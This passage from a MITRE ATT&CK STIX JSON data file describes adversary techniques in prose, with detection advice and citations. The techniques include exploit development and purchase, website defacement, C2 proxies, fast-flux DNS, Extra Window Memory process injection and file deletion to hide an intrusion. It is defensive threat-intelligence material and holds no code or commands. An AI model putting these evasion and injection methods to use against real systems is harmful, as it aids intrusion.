                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2",
            "description": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
            "name": "Exploits",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1587.004",
                    "url": "https://attack.mitre.org/techniques/T1587/004"
                },
                {
                    "source_name": "NYTStuxnet",
                    "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
                    "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
                },
                {
                    "source_name": "Irongeek Sims BSides 2017",
                    "url": "https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims",
                    "description": "Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020."
                }
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004))."
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1588.005",
                    "url": "https://attack.mitre.org/techniques/T1588/005"
                },
                {
                    "source_name": "Exploit Database",
                    "url": "https://www.exploit-db.com/",
                    "description": "Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020."
                },
                {
                    "source_name": "TempertonDarkHotel",
                    "description": "Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.",
                    "url": "https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage"
                },
                {
                    "source_name": "NationsBuying",
                    "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
                    "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
                },
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                    "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/",
                    "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
                    "source_name": "PegasusCitizenLab"
                },
                {
                    "source_name": "Wired SandCat Oct 2019",
                    "url": "https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec",
                    "description": "Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020."
                }
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            "description": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
            "id": "attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:14:01.255Z",
            "created": "2020-10-01T02:17:46.086Z",
            "x_mitre_detection": "\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1491.002",
                    "url": "https://attack.mitre.org/techniques/T1491/002"
                },
                {
                    "source_name": "FireEye Cyber Threats to Media Industries",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf",
                    "description": "FireEye. (n.d.). Retrieved April 19, 2019."
                },
                {
                    "source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence",
                    "url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf",
                    "description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019."
                },
                {
                    "source_name": "Anonymous Hackers Deface Russian Govt Site",
                    "url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/",
                    "description": "Andy. (2018, May 12). \u2018Anonymous\u2019 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019."
                },
                {
                    "source_name": "Trend Micro Deep Dive Into Defacement",
                    "url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf",
                    "description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019."
                }
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "External Defacement",
            "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)",
            "id": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2021-03-08T10:33:01.745Z",
            "created": "2020-02-20T14:34:08.496Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_impact_type": [
                "Integrity"
            ],
            "x_mitre_detection": "Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",
            "x_mitre_data_sources": [
                "File: File Modification",
                "File: File Creation",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
            ]
        },
        {
            "created": "2020-03-14T23:12:18.466Z",
            "modified": "2020-03-27T17:50:37.411Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "description": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.",
            "name": "External Proxy",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1090.002",
                    "url": "https://attack.mitre.org/techniques/T1090/002"
                },
                {
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "source_name": "Trend Micro APT Attack Tools"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "Analyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "External Remote Services",
            "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally.\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1133",
                    "url": "https://attack.mitre.org/techniques/T1133"
                },
                {
                    "external_id": "CAPEC-555",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/555.html"
                },
                {
                    "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/",
                    "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
                    "source_name": "Volexity Virtual Private Keylogging"
                },
                {
                    "source_name": "Trend Micro Exposed Docker Server",
                    "url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html",
                    "description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021."
                },
                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2021-04-22T20:22:02.443Z",
            "created": "2017-05-31T21:31:44.421Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "Containers"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Logon Session: Logon Session Metadata",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_contributors": [
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                "David Fiser, @anu4is, Trend Micro",
                "Alfredo Oliveira, Trend Micro",
                "Idan Frimark, Cisco",
                "Rory McCune, Aqua Security",
                "Yuval Avrahami, Palo Alto Networks",
                "Jay Chen, Palo Alto Networks",
                "Brad Geesaman, @bradgeesaman",
                "Magno Logan, @magnologan, Trend Micro",
                "Ariel Shuper, Cisco",
                "Yossi Weizman, Azure Defender Research Team",
                "Vishwas Manral, McAfee",
                "Daniel Oakley",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_version": "2.2"
        },
        {
            "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
            "name": "Extra Window Memory Injection",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1181",
                    "url": "https://attack.mitre.org/techniques/T1181"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx",
                    "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
                    "source_name": "Microsoft Window Classes"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx",
                    "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
                    "source_name": "Microsoft GetWindowLong function"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx",
                    "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
                    "source_name": "Microsoft SetWindowLong function"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
                    "source_name": "MalwareTech Power Loader Aug 2013"
                },
                {
                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/",
                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx",
                    "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
                    "source_name": "Microsoft SendNotifyMessage function"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-11-10T18:29:30.479Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1055.011",
                    "url": "https://attack.mitre.org/techniques/T1055/011"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx",
                    "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
                    "source_name": "Microsoft Window Classes"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx",
                    "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
                    "source_name": "Microsoft GetWindowLong function"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx",
                    "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
                    "source_name": "Microsoft SetWindowLong function"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Elastic Process Injection July 2017"
                },
                {
                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
                    "source_name": "MalwareTech Power Loader Aug 2013"
                },
                {
                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/",
                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx",
                    "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
                    "source_name": "Microsoft SendNotifyMessage function"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Extra Window Memory Injection",
            "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.  (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ",
            "id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2020-11-10T18:29:31.004Z",
            "created": "2020-01-14T17:18:32.126Z",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Application control"
            ],
            "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)",
            "x_mitre_data_sources": [
                "Process: OS API Execution"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "created": "2017-05-31T21:30:21.689Z",
            "modified": "2020-07-14T19:49:47.340Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Fallback Channels",
            "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1008",
                    "external_id": "T1008"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1568.001",
                    "url": "https://attack.mitre.org/techniques/T1568/001"
                },
                {
                    "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref",
                    "description": "Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.",
                    "source_name": "MehtaFastFluxPt1"
                },
                {
                    "source_name": "MehtaFastFluxPt2",
                    "description": "Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.",
                    "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref"
                },
                {
                    "source_name": "Fast Flux - Welivesecurity",
                    "url": "https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/",
                    "description": "Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Fast Flux DNS",
            "description": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.",
            "id": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-27T16:10:37.183Z",
            "created": "2020-03-11T14:11:16.560Z",
            "x_mitre_detection": "In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
            "name": "File Deletion",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1107",
                    "url": "https://attack.mitre.org/techniques/T1107"
                },
                {
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "source_name": "Trend Micro APT Attack Tools"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-31T12:36:39.086Z",
            "created": "2017-05-31T21:31:17.915Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1070.004",
                    "url": "https://attack.mitre.org/techniques/T1070/004"
                },
                {
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "source_name": "Trend Micro APT Attack Tools"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "File Deletion",
            "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)",
            "id": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
